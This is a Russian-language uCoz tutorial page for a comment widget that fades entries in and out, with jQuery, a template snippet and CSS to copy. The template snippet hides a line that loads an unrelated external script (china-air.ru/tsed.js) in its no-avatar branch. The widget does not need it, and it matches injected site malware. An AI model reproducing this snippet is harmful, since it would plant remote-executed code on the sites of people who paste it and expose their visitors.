Сайт створено у системі uCozЯндекс.Метрика
Меню сайта
Все для ucoz Counter-Strike 1.6 Все для photoshop Допомога по Counter-Strike Програмування Майстерня
Головна » 2012 » Декабрь » 24 » Информер с плавным обновлением коментариев
24.12.2012
Информер с плавным обновлением коментариев
Суть информера в том, что последний коментарий как бы исчезает, но можно настроить не только что бы был информер коментариев, а так же последних новостей, файлов и так далее.

Установка!

Ставим этот скрипт после тега <body>:

<script type="text/javascript">  
  $(document).ready(function(){  
  var first = 0;  
  var speed = 700;  
  var pause = 3500;  
   
  function removeFirst(){  
  first = $('ul#center_dm_ru li:first').html();  
  $('ul#center_dm_ru li:first')  
  .animate({opacity: 0}, speed)  
  .fadeOut('slow', function() {$(this).remove();});  
  addLast(first);  
  }  
   
  function addLast(first){  
  last = '<li style="display:none">'+first+'</li>';  
  $('ul#center_dm_ru').append(last)  
  $('ul#center_dm_ru li:last')  
  .animate({opacity: 1}, speed)  
  .fadeIn('slow')  
  }  
   
  interval = setInterval(removeFirst, pause);  
  });  
  </script>


Создаем информер с такими параметрамы: Коментарии - Все модули - Количество материалов 10 - Колочество колонок 1 и вставляем в информер такой код:

<li>  
  <?if($USER_AVATAR_URL$)?><a href="$PROFILE_URL$" target="_blank"><img class="coment_avatar" src="$USER_AVATAR_URL$" /></a><?else?><img class="coment_avatar" src="http://bambun.ru/images/no_avtar.jpg" alt="no" /><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><?endif?><a class="massage_link" href="$ENTRY_URL$" target="_blank">$MESSAGE$</a>  
  </li>


Вставляем этот код в блок и меняем на свой информер:

<ul id="center_dm_ru">  
  $MYINF_1$  
  </ul>


И прописываем в css стили информера:

#center_dm_ru {  
  overflow:hidden;  
  height:250px;  
  width:250px;  
  border:solid 1px #C8D9E5;  
  padding: 0px 0px 0px 0px;  
  background: #F8FCFF;  
  }  

  #center_dm_ru li {  
  list-style:none;  
  overflow:hidden;  
  border-top: 1px solid #fff;  
  border-bottom: 1px solid #C8D9E5;  
  padding: 10px 5px 10px 5px;  
  }  

  .coment_avatar {  
  float:right;  
  width:25px;  
  height:25px;  
  background: #F3F3F3;  
  margin-left: 5px;  
  padding: 2px;  
  border:1px solid #C8D9E5;  
  }  

  .massage_link:link,  
  .massage_link:visited {  
  text-decoration: none;  
  color:#555;  
  }  

  .massage_link:hover {  
  color:#999;  
  }  

  #center_dm_ru li a:hover img {  
  filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50);  
  -moz-opacity: 0.5;  
  opacity: 0.5;  
  filter: alpha(opacity=50);  
  }


[code][/code]
Категорія: | Переглядів: 274| Додав: startsmart | Рейтинг: 0.0
Всього коментарів: 0
Додавати коментарі можуть лише зареєстровані користувачі.
[ Реєстрація | Вхід ]
Наша копилка

Block title
Онлайн всего: 1
Гостей: 1
Пользователей: 0
сервера cs 1.6

Rip by vkontakte1412.ucoz.ru | (c) Все права защищены! | 2010-2011 |
Полное или частичное использование материалов vkontakte1412.ucoz.ru только с разрешения администрации
.
Сайт оптимизирован под браузер Opera. Sitemap | Sitemap-forum | СП
Дизайн данного сайта полностью принадлежит администратору сайта.

Вся информация предоставленная на сайте vkontakte1412.ucoz.ru является собственностью авторов. Любую информацию размещенную на сайте запрещено копировать без размещения ссылки на источник.
Дизайн данного сайта принадлежит полностью администратору сайта. Категорически запрещается копировать и использовать без соглашения главного администратора. За использование дизайна без согласия главного администратора, полагается разбирательство с администрацией хостера (в данном случае системы uCoz) и блокировка аккаунта нарушителя.
Yandex | Google | Rambler | Yahoo | Mail